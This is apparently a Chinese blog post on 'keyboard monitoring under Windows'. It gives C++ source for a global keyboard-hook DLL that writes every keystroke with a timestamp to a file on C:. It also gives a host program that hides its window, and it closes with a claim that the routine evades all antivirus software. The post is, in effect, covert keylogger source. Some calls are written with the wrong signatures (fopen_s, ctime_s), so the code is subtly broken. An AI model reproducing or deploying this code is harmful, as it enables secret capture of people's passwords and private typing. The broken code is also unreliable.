`
wo_deqing
  • 浏览: 60486 次
文章分类
社区版块
存档分类
最新评论

如何实现Windows下的键盘监听

 
阅读更多

要实现键盘监听,有很多办法,本例程是使用的钩子程序实现的。

首先要建立一个动态库,源码如下(该源码来自网络,并非本人作品):

hookdll.cpp

  1. #include<windows.h>
  2. #include<time.h>
  3. #include"string.h"
  4. #include"stdio.h"
  5. HINSTANCEhInst;
  6. //创造数据段
  7. //#pragma语句之后的所有初始化的变量都进入hookdata段中
  8. #pragmadata_seg("hookdata")
  9. HHOOKoldkeyhook=0;
  10. //#pragma语句是数据段的结束标志
  11. #pragmadata_seg()
  12. //链接程序必须知道有个hookdata段
  13. //连接语句"/SECTION:hookdata,RWS"
  14. //字母RWS是表明该段具有读、写、和共享属性
  15. #pragmacomment(linker,"/SECTION:hookdata,RWS")
  16. time_tNowTime=0;
  17. #defineDllExportextern"C"__declspec(dllexport)
  18. //钩子进程入口地址
  19. DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam);
  20. //设置钩子
  21. DllExportvoidInstallHook(intnCode);
  22. //
  23. DllExportvoidEndHook(void);
  24. //dll入口
  25. BOOLWINAPIDllMain(HINSTANCEhInstance,//dll实例句柄
  26. ULONGWhat,//指定所发生的事件
  27. LPVOIDNotUsed)//保留参数
  28. {
  29. switch(What)
  30. {
  31. caseDLL_PROCESS_ATTACH://进程开始使用DLL
  32. hInst=hInstance;
  33. break;
  34. caseDLL_PROCESS_DETACH://进程开始释放DLL
  35. break;
  36. caseDLL_THREAD_ATTACH://进程已经创建一个新的线程
  37. break;
  38. caseDLL_THREAD_DETACH://进程已经舍弃一个线程
  39. break;
  40. }
  41. return1;
  42. }
  43. voidInstallHook(intnCode)
  44. {
  45. //设置钩子钩子类型(键盘消息)应用程序的事件句柄
  46. oldkeyhook=SetWindowsHookEx(WH_KEYBOARD,
  47. (HOOKPROC)KeyBoardProc,//钩子进程的入口地址
  48. hInst,//应用程序的事件句柄
  49. 0);//装入钩子的线程标示
  50. }
  51. //钩子进程入口地址
  52. DllExportLRESULTCALLBACKKeyBoardProc(intnCode,WPARAMwParam,LPARAMlParam)
  53. {
  54. WPARAMj;
  55. FILE*fp;
  56. if(lParam&0x80000000)
  57. {
  58. j=wParam;
  59. //fp=fopen("c://Eddy.txt","a");
  60. fp=fopen_s("c://Eddy.txt","a");
  61. time(&NowTime);
  62. //fprintf(fp,"%s",ctime(&NowTime));
  63. fprintf(fp,"%s",ctime_s(&NowTime));
  64. fprintf(fp,"%4d/n",j);
  65. fclose(fp);
  66. }
  67. //用于对当前钩子链中的下一个钩子进程传递钩子信息
  68. returnCallNextHookEx(oldkeyhook,//当前钩子句柄
  69. nCode,//传送到钩子进程的钩子代码
  70. wParam,//传送到钩子进程的值。
  71. lParam);//传送到钩子进程的值。
  72. }
  73. voidEndHook(void)
  74. {
  75. //钩子释放
  76. UnhookWindowsHookEx(oldkeyhook);
  77. }

下面给出监听实现:

Header.h

  1. #pragmaonce
  2. #include<windows.h>
  3. #defineWINDOW_WIDTH1024
  4. #defineWINDOW_HEIGHT768
  5. #defineKEYDOWN(c)(GetAsyncKeyState(c)&0x8000?1:0)
  6. #defineKEYUP(c)(GetAsyncKeyState(c)&0x8000?0:1)

Header.cpp

  1. #pragmaonce
  2. #include<windows.h>
  3. #defineWINDOW_WIDTH1024
  4. #defineWINDOW_HEIGHT768

Windows.cpp

  1. #include"Header.h"
  2. #pragmacomment(lib,"hook")
  3. extern"C"__declspec(dllimport)voidInstallHook(intnCode);
  4. extern"C"__declspec(dllimport)voidEndHook(void);
  5. LRESULTCALLBACKWndProc(HWNDhWnd,UINTMessage,WPARAMwParam,LPARAMlParam)
  6. {
  7. switch(Message)
  8. {
  9. caseWM_CREATE:
  10. InstallHook(TRUE);
  11. break;
  12. caseWM_DESTROY:
  13. EndHook();
  14. PostQuitMessage(0);
  15. break;
  16. }
  17. returnDefWindowProc(hWnd,Message,wParam,lParam);
  18. }
  19. intWINAPIWinMain(INHINSTANCEhInstance,INHINSTANCEhPrevInstance,INLPSTRlpCmdLine,INintnShowCmd)
  20. {
  21. HWNDhWnd;
  22. MSGmsg;
  23. WNDCLASSwc={CS_VREDRAW|CS_HREDRAW,WndProc,NULL,NULL,hInstance,NULL,NULL,(HBRUSH)GetStockObject(BLACK_BRUSH),NULL,"Windows"};
  24. RegisterClass(&wc);
  25. hWnd=CreateWindowEx(WS_EX_TOPMOST,"Windows","demo",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,hInstance,NULL);
  26. SetWindowLong(NULL,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
  27. //UpdateWindow(hWnd);
  28. //ShowWindow(hWnd,nShowCmd);
  29. while(true)
  30. {
  31. if(GetMessage(&msg,NULL,0U,0U))
  32. {
  33. if(msg.message==WM_QUIT)
  34. {
  35. break;
  36. }
  37. TranslateMessage(&msg);
  38. DispatchMessage(&msg);
  39. }
  40. }
  41. UnregisterClass("Windows",hInstance);
  42. return0;
  43. }

经过测试,该例程可躲避所有反病毒软件的查杀。

分享到:
评论

相关推荐

    windows键盘消息监听 ServerSocket实现键盘监听

    监控windows键盘输入 可以实现键盘输入后弹出输入的键盘是哪一个字幕,此程序仅用于学习 请不要用于不正当行为

    基于IOAPIC重定位的 键盘监听技术及防御

    通过对IOAPIC重定位技术的研究,实现了针对单核系统和多核系统的键盘监听和记录。在Windows Driver Kits7.0.1中编译生成的驱动,能够记录键盘信息,引起重要信息的泄露。通过提出的防御键盘监听的方法能够有效地预防...

    java 监听windows系统热键组合

    此组件可以监听winodws的系统热键组合,是swing开发不错的选择,别错过

    Qt后台监听键盘按键事件

    该实例程序使用Qt进行,windows的键盘后台监听,即使Qt桌面程序失去焦点在后台运行,也会捕捉到按键事件 这个程序使用windows的钩子(hook)实现的,Qt官方没有相关的实现 关于编译,我用的是Qt5.9.7 MinGW32位,我...

    利用Hook技术实现键盘监控

    用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够 很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中 的具体实现分别对这两部分进行详细论述。 一、Hook(钩子)的...

    WPF 使用windows钩子监控键盘

    WPF 使用windows钩子监控键盘,使用windows底层api,封装为c#代码,供wpf见面调用

    windows检测键盘输入的程序

    这个是用windows实现检测键盘输入的程序。

    unity 钩子系统监听系统按键

    全局使用钩子,监听鼠标与键盘 按键

    信息安全工程实验报告(附HOOK源码)

    编写简单的Windows键盘监听程序,使主机A可以记录主机B的按键操作。 可供参考的键盘监听实现方式: ·利用全局键盘钩子:程序设置全局键盘钩子,从而捕获按键消息,进行记录。 ·利用GetAsyncKeyState函数。该函数...

    JAVA课程设计-计算器可响应键盘

    JAVA课程设计-计算器可响应键盘。加上好几个WINDOWS主题

    Windows环境下32位汇编语言程序设计_随书光盘

    Windows 日志记录钩子的例子 - 监听键盘动作 Chapter12\Counter ;有问题的程序 - 一个计数程序 Chapter12\Thread ;用多线程的方式解决上一个程序的问题 Chapter12\Event ;使用事件对象 Chapter12\ThreadSynErr ;一...

    Windows环境下32位汇编语言程序设计(最新琢石成器版)附属光盘

    Windows 日志记录钩子的例子 - 监听键盘动作 Chapter12\Counter ;有问题的程序 - 一个计数程序 Chapter12\Thread ;用多线程的方式解决上一个程序的问题 Chapter12\Event ;使用事件对象 Chapter12\ThreadSynErr ;...

    精通Windows.API-函数、接口、编程实例.pdf

    8.3 实现对服务的控制和管理 216 8.3.1 创建、删除服务 216 8.3.2 启动、停止服务,向服务发送控制请求 219 8.3.3 管理服务状态、配置服务、服务的依赖关系 222 第9章 图形用户界面 229 9.1 字符界面程序...

    Windows环境下32位汇编语言程序设计 第2版(罗文斌) 完整光盘

    Windows 日志记录钩子的例子 - 监听键盘动作 Chapter12\Counter ;有问题的程序 - 一个计数程序 Chapter12\Thread ;用多线程的方式解决上一个程序的问题 Chapter12\Event ;使用事件对象 Chapter12\ThreadSynErr ;一...

    java实现的鼠标键盘钩子程序

    我在jBuilder里面用swing实现的该程序,其实很简单,就是调用了里面库文件的两个监听事件,当程序失去焦点以后仍然可以显示出当前鼠标的坐标。之所以上传是因为不少人可能对swt extension并不熟悉,导致自己用JNI...

    精通WindowsAPI 函数 接口 编程实例

    4.3.5 查找文件、遍历指定目录下的文件和子目录 100 4.3.6 递归遍历目录树 103 4.3.7 获取、设置文件属性和时间 105 4.4 内存映射文件 110 4.4.1 使用Mapping File提高文件读写的效率 110 4.4.2 通过...

    QT Linux系统捕获键盘事件,抓取键盘,无论焦点是否在此界面或进程上

    Linux系统捕获键盘事件,抓取键盘事件,...类似,windows下hook的作用,可以捕获事件。可以区分按下,抬起按键,长按等。再加上定时器,可以判断组合键,不是简单的shift+A, 可以实现A+B组合键。QT程序,可以直接运行。

    Python监听键盘和鼠标事件的示例代码

    我们可以利用windows提供的api函数来实现对系统键盘事件和鼠标事件的监听,主要利用的是SetWindowsHookEx函数,这个函数可以允许调用者传入一个钩子函数也叫回调函数,当指定的事件发生时,你 传入的函数就会被触发...

    C# 键盘鼠标全局钩子(拦截键盘鼠标所有操作)全局HOOK

    C#实现键盘鼠标全局钩子 VS2013,可编译运行,带DEMO 可全局拦截鼠标单击/双击/滚动事件 可全局拦截键盘按键事件 可锁定键盘鼠标输入,比如锁屏! 该代码无法屏蔽Ctrl +alt +delete 需要实现所有拦截,请参考相关...

Global site tag (gtag.js) - Google Analytics